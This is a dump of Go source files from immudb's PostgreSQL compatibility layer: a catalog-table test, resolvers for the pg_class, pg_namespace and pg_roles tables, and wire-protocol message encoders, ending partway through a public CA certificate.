err) defer res.Close() row, err := res.Read(context.Background()) require.NoError(t, err) name, _ := row.ValuesBySelector[sql.EncodeSelector("", "c", "name")].RawValue().(string) owner, _ := row.ValuesBySelector[sql.EncodeSelector("", "c", "owner")].RawValue().(string) relType, _ := row.ValuesBySelector[sql.EncodeSelector("", "c", "type")].RawValue().(string) schema := row.ValuesBySelector[sql.EncodeSelector("", "n", "schema")].RawValue() require.Equal(t, "table1", name) require.Equal(t, "immudb", owner) require.Equal(t, "table", relType) require.Nil(t, schema) } func TestQueryPgRolesTable(t *testing.T) { engine := setupEngine(t, &mockMultiDBHandler{ users: []sql.User{ &user{username: "immudb", perm: sql.PermissionSysAdmin}, &user{username: "user1", perm: sql.PermissionReadWrite}, }, }) rows, err := engine.Query( context.Background(), nil, ` SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolconnlimit, r.rolvaliduntil, r.rolreplication, r.rolbypassrls FROM pg_roles r WHERE r.rolname !~ '^pg_' ORDER BY 1;`, nil, ) require.NoError(t, err) row, err := rows.Read(context.Background()) require.NoError(t, err) name, _ := row.ValuesBySelector[sql.EncodeSelector("", "r", "rolname")].RawValue().(string) require.Equal(t, "immudb", name) roleSuper, _ := row.ValuesBySelector[sql.EncodeSelector("", "r", "rolsuper")].RawValue().(bool) require.True(t, roleSuper) row, err = rows.Read(context.Background()) require.NoError(t, err) name, _ = row.ValuesBySelector[sql.EncodeSelector("", "r", "rolname")].RawValue().(string) require.Equal(t, "user1", name) roleSuper, _ = row.ValuesBySelector[sql.EncodeSelector("", "r", "rolsuper")].RawValue().(bool) require.False(t, roleSuper) } type mockMultiDBHandler struct { sql.MultiDBHandler users []sql.User } type user struct { username string perm sql.Permission } func (u *user) Username() string { return u.username } func (u *user) Permission() sql.Permission { return u.perm } func (u *user) SQLPrivileges() []sql.SQLPrivilege { return []sql.SQLPrivilege{sql.SQLPrivilegeCreate, sql.SQLPrivilegeSelect} } func (h *mockMultiDBHandler) ListUsers(ctx context.Context) ([]sql.User, error) { return h.users, nil } func (h *mockMultiDBHandler) GetLoggedUser(ctx context.Context) (sql.User, error) { if len(h.users) == 0 { return nil, fmt.Errorf("no logged user") } return h.users[0], nil } ================================================ FILE: pkg/pgsql/pgschema/table_resolvers.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package pgschema import ( "context" "github.com/codenotary/immudb/embedded/sql" ) var pgClassCols = []sql.ColDescriptor{ { Column: "oid", Type: sql.IntegerType, }, { Column: "relname", Type: sql.VarcharType, }, { Column: "relnamespace", Type: sql.IntegerType, }, { Column: "reltype", Type: sql.VarcharType, }, { Column: "reloftype", Type: sql.IntegerType, }, { Column: "relowner", Type: sql.IntegerType, }, { Column: "relam", Type: sql.IntegerType, }, { Column: "relfilenode", Type: sql.IntegerType, }, { Column: "reltablespace", Type: sql.IntegerType, }, { Column: "relpages", Type: sql.IntegerType, }, { Column: "reltuples", Type: sql.Float64Type, }, { Column: "relallvisible", Type: sql.IntegerType, }, { Column: "reltoastrelid", Type: sql.IntegerType, }, { Column: "relhasindex", Type: sql.BooleanType, }, { Column: "relisshared", Type: sql.BooleanType, }, { Column: "relpersistence", Type: sql.VarcharType, }, { Column: "relkind", Type: sql.VarcharType, }, { Column: "relnats", Type: sql.IntegerType, }, { Column: "relchecks", Type: sql.IntegerType, }, { Column: "relhasrules", Type: sql.BooleanType, }, { Column: "relhastriggers", Type: sql.BooleanType, }, { Column: "relhassubclass", Type: sql.BooleanType, }, { Column: "relrowsecurity", Type: sql.BooleanType, }, { Column: "relforcerowsecurity", Type: sql.BooleanType, }, { Column: "relispopulated", Type: sql.BooleanType, }, { Column: "relreplident", Type: sql.VarcharType, }, { Column: "relispartition", Type: sql.BooleanType, }, { Column: "relrewrite", Type: sql.IntegerType, }, { Column: "relfrozenxid", Type: sql.IntegerType, }, { Column: "relminmxid", Type: sql.IntegerType, }, { Column: "relacl", Type: sql.AnyType, }, { Column: "reloptions", Type: sql.AnyType, }, { Column: "relpartbound", Type: sql.AnyType, }, } type pgClassResolver struct{} func (r *pgClassResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) { catalog := tx.Catalog() tables := catalog.GetTables() rows := make([][]sql.ValueExp, len(tables)) for i, t := range tables { rows[i] = []sql.ValueExp{ sql.NewInteger(int64(t.ID())), // oid sql.NewVarchar(t.Name()), // relname sql.NewInteger(-1), // relnamespace sql.NewVarchar(""), // reltype sql.NewNull(sql.IntegerType), // reloftype sql.NewInteger(0), // relowner sql.NewNull(sql.IntegerType), // relam sql.NewNull(sql.IntegerType), // relfilenode sql.NewNull(sql.IntegerType), // reltablespace sql.NewNull(sql.IntegerType), // relpages sql.NewNull(sql.Float64Type), // reltuples sql.NewNull(sql.IntegerType), // relallvisible sql.NewNull(sql.IntegerType), // reltoastrelid sql.NewBool(len(t.GetIndexes()) > 1), // relhasindex sql.NewBool(false), // relisshared sql.NewNull(sql.VarcharType), // relpersistence sql.NewVarchar("r"), // relkind sql.NewNull(sql.IntegerType), // relnats sql.NewNull(sql.IntegerType), // relchecks sql.NewBool(false), // relhasrules sql.NewBool(false), // relhastriggers sql.NewBool(false), // relhassubclass sql.NewBool(false), // relrowsecurity sql.NewBool(false), // relforcerowsecurity sql.NewBool(false), // relispopulated sql.NewVarchar(""), // relreplident sql.NewBool(false), // relispartition sql.NewInteger(0), // relrewrite sql.NewNull(sql.IntegerType), // relfrozenxid sql.NewNull(sql.IntegerType), // relminmxid sql.NewNull(sql.AnyType), // relacl sql.NewNull(sql.AnyType), // reloptions sql.NewNull(sql.AnyType), // relpartbound } } return sql.NewValuesRowReader( tx, nil, pgClassCols, true, alias, rows, ) } func (r *pgClassResolver) Table() string { return "pg_class" } var pgNamespaceCols = []sql.ColDescriptor{ { Column: "oid", Type: sql.IntegerType, }, { Column: "nspname", Type: sql.VarcharType, }, { Column: "nspowner", Type: sql.IntegerType, }, { Column: "nspacl", Type: sql.AnyType, }, } type pgNamespaceResolver struct{} func (r *pgNamespaceResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) { return sql.NewValuesRowReader( tx, nil, pgNamespaceCols, true, alias, nil, ) } func (r *pgNamespaceResolver) Table() string { return "pg_namespace" } var pgRolesCols = []sql.ColDescriptor{ { Column: "rolname", Type: sql.VarcharType, }, { Column: "rolsuper", Type: sql.BooleanType, }, { Column: "rolinherit", Type: sql.BooleanType, }, { Column: "rolcreaterole", Type: sql.BooleanType, }, { Column: "rolcreatedb", Type: sql.BooleanType, }, { Column: "rolcanlogin", Type: sql.BooleanType, }, { Column: "rolreplication", Type: sql.BooleanType, }, { Column: "rolconnlimit", Type: sql.IntegerType, }, { Column: "rolpassword", Type: sql.VarcharType, }, { Column: "rolvaliduntil", Type: sql.TimestampType, }, { Column: "rolbypassrls", Type: sql.BooleanType, }, { Column: "rolconfig", Type: sql.AnyType, }, { Column: "oid", Type: sql.IntegerType, }, } type pgRolesResolver struct{} func (r *pgRolesResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) { users, err := tx.ListUsers(ctx) if err != nil { return nil, err } rows := make([][]sql.ValueExp, len(users)) for i, u := range users { isAdmin := u.Permission() == sql.PermissionSysAdmin || u.Permission() == sql.PermissionAdmin rows[i] = []sql.ValueExp{ sql.NewVarchar(u.Username()), // name sql.NewBool(isAdmin), // rolsuper sql.NewBool(isAdmin), // rolinherit sql.NewBool(isAdmin), // rolcreaterole sql.NewBool(isAdmin), // rolcreatedb sql.NewBool(true), // rolcanlogin sql.NewBool(false), // rolreplication sql.NewInteger(-1), // rolconnlimit sql.NewVarchar("********"), // rolpassword sql.NewNull(sql.TimestampType), // rolvaliduntil sql.NewBool(isAdmin), // rolbypassrls sql.NewNull(sql.AnyType), // rolconfig sql.NewNull(sql.IntegerType), // oid } } return sql.NewValuesRowReader( tx, nil, pgRolesCols, true, alias, rows, ) } func (r *pgRolesResolver) Table() string { return "pg_roles" } var tableResolvers = []sql.TableResolver{ &pgClassResolver{}, &pgNamespaceResolver{}, &pgRolesResolver{}, } func PgCatalogResolvers() []sql.TableResolver { return tableResolvers } ================================================ FILE: pkg/pgsql/server/bmessages/authentication_cleartext_password.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func AuthenticationCleartextPassword() []byte { messageType := []byte(`R`) messageLength := make([]byte, 4) message := make([]byte, 4) binary.BigEndian.PutUint32(messageLength, uint32(8)) binary.BigEndian.PutUint32(message, uint32(3)) return bytes.Join([][]byte{messageType, messageLength, message}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/authentication_ok.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func AuthenticationOk() []byte { messageType := []byte(`R`) messageLength := make([]byte, 4) message := make([]byte, 4) binary.BigEndian.PutUint32(messageLength, uint32(8)) binary.BigEndian.PutUint32(message, uint32(0)) return bytes.Join([][]byte{messageType, messageLength, message}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/bind_complete.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func BindComplete() []byte { messageType := []byte(`2`) message := make([]byte, 4) binary.BigEndian.PutUint32(message, uint32(4)) return bytes.Join([][]byte{messageType, message}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/command_complete.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func CommandComplete(msg []byte) []byte { messageType := []byte(`C`) msg = bytes.Join([][]byte{msg, {0}}, nil) selfMessageLength := make([]byte, 4) binary.BigEndian.PutUint32(selfMessageLength, uint32(len(msg)+4)) return bytes.Join([][]byte{messageType, selfMessageLength, msg}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/data_row.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" "strings" "github.com/codenotary/immudb/embedded/sql" ) // DataRow if ResultColumnFormatCodes is nil default text format is used func DataRow(rows []*sql.Row, colNumb int, ResultColumnFormatCodes []int16) []byte { rowsB := make([]byte, 0) for _, row := range rows { rowB := make([]byte, 0) // Identifies the message as a data row. // Byte1('D') messageType := []byte(`D`) // The number of column values that follow (possibly zero). // Int16 columnNumb := make([]byte, 2) binary.BigEndian.PutUint16(columnNumb, uint16(colNumb)) for i, val := range row.ValuesByPosition { if val == nil { return nil } valueLength := make([]byte, 4) value := make([]byte, 0) BINformat := false if len(ResultColumnFormatCodes) == 1 { BINformat = ResultColumnFormatCodes[0] == 1 } if ResultColumnFormatCodes != nil && len(ResultColumnFormatCodes) > i && ResultColumnFormatCodes[i] == 1 { BINformat = true } if BINformat { if val.IsNull() { n := -1 binary.BigEndian.PutUint32(valueLength, uint32(n)) } else { rv := val.RawValue() switch val.Type() { case sql.IntegerType: { binary.BigEndian.PutUint32(valueLength, uint32(8)) value = make([]byte, 8) binary.BigEndian.PutUint64(value, uint64(rv.(int64))) } case sql.JSONType: { jsonStr := trimQuotes(val.String()) binary.BigEndian.PutUint32(valueLength, uint32(len(jsonStr))) value = []byte(jsonStr) } case sql.VarcharType: { s := rv.(string) binary.BigEndian.PutUint32(valueLength, uint32(len(s))) value = []byte(s) } case sql.BooleanType: { binary.BigEndian.PutUint32(valueLength, uint32(1)) value = []byte{0} if rv.(bool) { value = []byte{1} } } case sql.BLOBType: { blob := rv.([]byte) binary.BigEndian.PutUint32(valueLength, uint32(len(blob))) value = blob } } } } else { // only text format is allowed in simple query value = renderValueAsByte(val) } binary.BigEndian.PutUint32(valueLength, uint32(len(value))) // As a special case, -1 indicates a NULL column value. No value bytes follow in the NULL case. if value == nil { tm := int32(-1) value = nil binary.BigEndian.PutUint32(valueLength, uint32(tm)) } rowB = append(rowB, bytes.Join([][]byte{valueLength, value}, nil)...) } // Length of message contents in bytes, including self. // Int32 selfMessageLength := make([]byte, 4) binary.BigEndian.PutUint32(selfMessageLength, uint32(4+2+len(rowB))) rowsB = append(rowsB, bytes.Join([][]byte{messageType, selfMessageLength, columnNumb, rowB}, nil)...) } return rowsB } func renderValueAsByte(v sql.TypedValue) []byte { if v.IsNull() { return nil } var s string switch v.Type() { case sql.VarcharType: s, _ = v.RawValue().(string) case sql.JSONType: s = trimQuotes(v.String()) default: s = v.String() } return []byte(s) } func trimQuotes(s string) string { return strings.TrimSuffix(strings.TrimPrefix(s, "'"), "'") } ================================================ FILE: pkg/pgsql/server/bmessages/empty_query_response.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func EmptyQueryResponse() []byte { messageType := []byte(`I`) message := make([]byte, 4) binary.BigEndian.PutUint32(message, uint32(4)) return bytes.Join([][]byte{messageType, message}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/error_response.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" "fmt" ) type errorResp struct { fields map[byte]string } type ErrorResp interface { Encode() []byte ToString() string } func ErrorResponse(setters ...Option) *errorResp { er := &errorResp{ fields: make(map[byte]string), } for _, setter := range setters { setter(er) } return er } //Encode encode in binary func (er *errorResp) Encode() []byte { messageType := []byte(`E`) messageLength := make([]byte, 4) body := make([]byte, 0) for code, value := range er.fields { body = append(body, bytes.Join([][]byte{{code}, []byte(value), {0}}, nil)...) } binary.BigEndian.PutUint32(messageLength, uint32(len(body)+4+1)) return bytes.Join([][]byte{messageType, messageLength, body, {0}}, nil) } func (er *errorResp) ToString() string { return fmt.Sprintf("Map: %v", er.fields) } ================================================ FILE: pkg/pgsql/server/bmessages/error_response_opt.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages type Option func(s *errorResp) // Severity the field contents are ERROR, FATAL, or PANIC (in an error message), or WARNING, NOTICE, DEBUG, INFO, or LOG (in a notice message), or a localized translation of one of these. Always present. func Severity(value string) Option { return func(args *errorResp) { args.fields['S'] = value } } // Severity the field contents are ERROR, FATAL, or PANIC (in an error message), or WARNING, NOTICE, DEBUG, INFO, or LOG (in a notice message). This is identical to the S field except that the contents are never localized. This is present only in messages generated by PostgreSQL versions 9.6 and later. func SeverityNotLoc(value string) Option { return func(args *errorResp) { args.fields['v'] = value } } // Code the SQLSTATE code for the error (see Appendix A). Not localizable. Always present. func Code(value string) Option { return func(args *errorResp) { args.fields['C'] = value } } // Message the primary human-readable error message. This should be accurate but terse (typically one line). Always present. func Message(value string) Option { return func(args *errorResp) { args.fields['M'] = value } } // Detail an optional secondary error message carrying more detail about the problem. Might run to multiple lines. func Detail(value string) Option { return func(args *errorResp) { args.fields['D'] = value } } // Hint an optional suggestion what to do about the problem. This is intended to differ from Detail in that it offers advice (potentially inappropriate) rather than hard facts. Might run to multiple lines. func Hint(value string) Option { return func(args *errorResp) { args.fields['H'] = value } } // Position the field value is a decimal ASCII integer, indicating an error cursor position as an index into the original query string. The first character has index 1, and positions are measured in characters not bytes. func Position(value string) Option { return func(args *errorResp) { args.fields['P'] = value } } // InternalPosition this is defined the same as the P field, but it is used when the cursor position refers to an internally generated command rather than the one submitted by the client. The q field will always appear when this field appears. func InternalPosition(value string) Option { return func(args *errorResp) { args.fields['p'] = value } } // InternalQuery the text of a failed internally-generated command. This could be, for example, a SQL query issued by a PL/pgSQL function. func InternalQuery(value string) Option { return func(args *errorResp) { args.fields['q'] = value } } // Where an indication of the context in which the error occurred. Presently this includes a call stack traceback of active procedural language functions and internally-generated queries. The trace is one entry per line, most recent first. func Where(value string) Option { return func(args *errorResp) { args.fields['W'] = value } } // SchemaName if the error was associated with a specific database object, the name of the schema containing that object, if any. func SchemaName(value string) Option { return func(args *errorResp) { args.fields['s'] = value } } // TableName if the error was associated with a specific table, the name of the table. (Refer to the schema name field for the name of the table's schema.) func TableName(value string) Option { return func(args *errorResp) { args.fields['t'] = value } } // ColumnName if the error was associated with a specific table column, the name of the column. (Refer to the schema and table name fields to identify the table.) func ColumnName(value string) Option { return func(args *errorResp) { args.fields['c'] = value } } // DataTypeName if the error was associated with a specific data type, the name of the data type. (Refer to the schema name field for the name of the data type's schema.) func DataTypeName(value string) Option { return func(args *errorResp) { args.fields['d'] = value } } // ConstraintName if the error was associated with a specific constraint, the name of the constraint. Refer to fields listed above for the associated table or domain. (For this purpose, indexes are treated as constraints, even if they weren't created with constraint syntax.) func ConstraintName(value string) Option { return func(args *errorResp) { args.fields['n'] = value } } // File the file name of the source-code location where the error was reported. func File(value string) Option { return func(args *errorResp) { args.fields['F'] = value } } // Line the line number of the source-code location where the error was reported. func Line(value string) Option { return func(args *errorResp) { args.fields['L'] = value } } // Routine the name of the source-code routine reporting the error. func Routine(value string) Option { return func(args *errorResp) { args.fields['R'] = value } } ================================================ FILE: pkg/pgsql/server/bmessages/error_response_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "testing" "github.com/stretchr/testify/require" ) func TestErrorResponse(t *testing.T) { er := ErrorResponse(Severity("severity"), Code("test"), Message("test"), Hint("test"), SeverityNotLoc("test"), Detail("test"), Position("test"), InternalPosition("test"), InternalQuery("test"), Where("test"), SchemaName("test"), TableName("test"), ColumnName("test"), DataTypeName("test"), ConstraintName("test"), File("test"), Line("test"), Routine("test"), ) require.NotNil(t, er) } ================================================ FILE: pkg/pgsql/server/bmessages/parameter_description.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) // Byte1('t') // Identifies the message as a parameter description. // // Int32 // Length of message contents in bytes, including self. // // Int16 // The number of parameters used by the statement (can be zero). // // Then, for each parameter, there is the following: // // Int32 // Specifies the object ID of the parameter data type. // ParameterDescription send a parameter description message. Cols need to be lexicographically ordered by selector func ParameterDescription(cols []sql.ColDescriptor) []byte { // Identifies the message as a run-time parameter status report. messageType := []byte(`t`) selfMessageLength := make([]byte, 4) paramsNumberB := make([]byte, 2) binary.BigEndian.PutUint16(paramsNumberB, uint16(len(cols))) params := make([][]byte, 0) for _, c := range cols { p := pgmeta.PgTypeMap[c.Type][pgmeta.PgTypeMapOid] paramB := make([]byte, 4) binary.BigEndian.PutUint32(paramB, uint32(p)) params = append(params, paramB) } binary.BigEndian.PutUint32(selfMessageLength, uint32(len(paramsNumberB)+len(params)*4+4)) return bytes.Join([][]byte{messageType, selfMessageLength, paramsNumberB, bytes.Join(params, nil)}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/parameter_status.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func ParameterStatus(pname, pval []byte) []byte { // Identifies the message as a run-time parameter status report. messageType := []byte(`S`) selfMessageLength := make([]byte, 4) //The name of the run-time parameter being reported. pname = append(pname, 0) // The current value of the parameter. pval = append(pval, 0) binary.BigEndian.PutUint32(selfMessageLength, uint32(len(pname)+len(pval)+4)) return bytes.Join([][]byte{messageType, selfMessageLength, pname, pval}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/parse_complete.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func ParseComplete() []byte { messageType := []byte(`1`) message := make([]byte, 4) binary.BigEndian.PutUint32(message, uint32(4)) return bytes.Join([][]byte{messageType, message}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/ready_for_query.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" ) func ReadyForQuery() []byte { messageType := []byte(`Z`) message := make([]byte, 4) idle := []byte(`I`) binary.BigEndian.PutUint32(message, uint32(5)) return bytes.Join([][]byte{messageType, message, idle}, nil) } ================================================ FILE: pkg/pgsql/server/bmessages/row_description.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package bmessages import ( "bytes" "encoding/binary" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) func RowDescription(cols []sql.ColDescriptor, formatCodes []int16) []byte { ////##-> dataRowDescription //Byte1('T') messageType := []byte(`T`) // Specifies the number of fields in a row (can be zero). // Int16 fieldNumb := make([]byte, 2) binary.BigEndian.PutUint16(fieldNumb, uint16(len(cols))) rowDescMessageB := make([]byte, 0) for n, col := range cols { // The field name. // String fieldName := []byte(col.Selector()) fieldName = bytes.Join([][]byte{fieldName, {0}}, nil) // If the field can be identified as a column of a specific table, the object ID of the table; otherwise zero. // Int32 id := make([]byte, 4) binary.BigEndian.PutUint32(id, uint32(0)) // If the field can be identified as a column of a specific table, the attribute number of the column; otherwise zero. // Int16 attributeNumber := make([]byte, 2) binary.BigEndian.PutUint16(attributeNumber, uint16(n+1)) // The object ID of the field's data type. // Int32 objectId := make([]byte, 4) oid := pgmeta.PgTypeMap[col.Type][pgmeta.PgTypeMapOid] binary.BigEndian.PutUint32(objectId, uint32(oid)) // The data type size (see pg_type.typlen). Note that negative values denote variable-width types. // For a fixed-size type, typlen is the number of bytes in the internal representation of the type. But for a variable-length type, typlen is negative. -1 indicates a “varlena” type (one that has a length word), -2 indicates a null-terminated C string. // Int16 dataTypeSize := make([]byte, 2) l := pgmeta.PgTypeMap[col.Type][pgmeta.PgTypeMapLength] binary.BigEndian.PutUint16(dataTypeSize, uint16(l)) // The type modifier (see pg_attribute.atttypmod). The meaning of the modifier is type-specific. // atttypmod records type-specific data supplied at table creation time (for example, the maximum length of a varchar column). It is passed to type-specific input functions and length coercion functions. The value will generally be -1 for types that do not need atttypmod. // Int32 typeModifier := make([]byte, 4) tm := int32(-1) binary.BigEndian.PutUint32(typeModifier, uint32(tm)) // The format code being used for the field. Currently will be zero (text) or one (binary). In a RowDescription returned from the statement variant of Describe, the format code is not yet known and will always be zero. // Int16 // In simple Query mode, the format of retrieved values is always text, except when the given command is a FETCH from a cursor declared with the BINARY option. In that case, the retrieved values are in binary format. The format codes given in the RowDescription message tell which format is being used. fc := int16(0) if len(formatCodes) >= n+1 { fc = formatCodes[n] } formatCode := make([]byte, 2) binary.BigEndian.PutUint16(formatCode, uint16(fc)) rowDescMessageB = append(rowDescMessageB, bytes.Join([][]byte{fieldName, id, attributeNumber, objectId, dataTypeSize, typeModifier, formatCode}, nil)...) } // Length of message contents in bytes, including self. // Int32 rowDescMessageLengthB := make([]byte, 4) rowDescMessageLength := 4 + 2 + len(rowDescMessageB) binary.BigEndian.PutUint32(rowDescMessageLengthB, uint32(rowDescMessageLength)) return bytes.Join([][]byte{messageType, rowDescMessageLengthB, fieldNumb, rowDescMessageB}, nil) } ================================================ FILE: pkg/pgsql/server/cert/ca-cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIF6TCCA9GgAwIBAgIUGH9hgmfEzEsRuSyq56bbVLZJSh8wDQYJKoZIhvcNAQEL BQAwgYMxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91 c3RvbjETMBEGA1UECgwKQ29kZW5vdGFyeTEZMBcGA1UEAwwQKi5jb2Rlbm90YXJ5 LmNvbTEiMCAGCSqGSIb3DQEJARYTaW5mb0Bjb2Rlbm90YXJ5LmNvbTAeFw0yMzEx MDMxNTUxMDdaFw0zMzEwMzExNTUxMDdaMIGDMQswCQYDVQQGEwJVUzEOMAwGA1UE CAwFVGV4YXMxEDAOBgNVBAcMB0hvdXN0b24xEzARBgNVBAoMCkNvZGVub3Rhcnkx GTAXBgNVBAMMECouY29kZW5vdGFyeS5jb20xIjAgBgkqhkiG9w0BCQEWE2luZm9A Y29kZW5vdGFyeS5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC7 uR3S6YWXUckguoZHeuoD4mUv7E+O74c8/5rJCu8xW5diFROZ3NB9MGRPnCoUSLam qAXqO+FW0iwwWANlH1qQu3uJogOSVcx2qkne9cQ3PF5lG+O0l+6mu7I5tCLalkIe BLVH0bxxSe/lqHfD1lYO6uq74MIs35zNYaX2A5en8tJ8FoA4sE1uNraThq+vx7Aq hzNApEUD3GAqRyDUcvDcx/9WgogaVm5k+J2xk3Q3aKaVzVh0BisGD52SSMicQtYk rtFK/tuYCXyWM7SOMtgRSPI0M01BqtYrC12zRpnYD3oNoao0QCv2gJylrs/j3hSD pLFyRy/dFKUb35nsEzNsk4yuzS4NJ8KBSYyWK5wu+D64G+Tg4DVQCf5BpSJD1/Jw UIjkK6UmedNr5CSbzzurifwXkMFJ08dYUdKr8b7XUVxSOrvbkGnzJgTM3/bh356L DUFlKxTxLTsZqovn7Q5aUHtGe0lU7b48ZX/RzSYl3BliQ2efMURWzVRITh6+j+fz 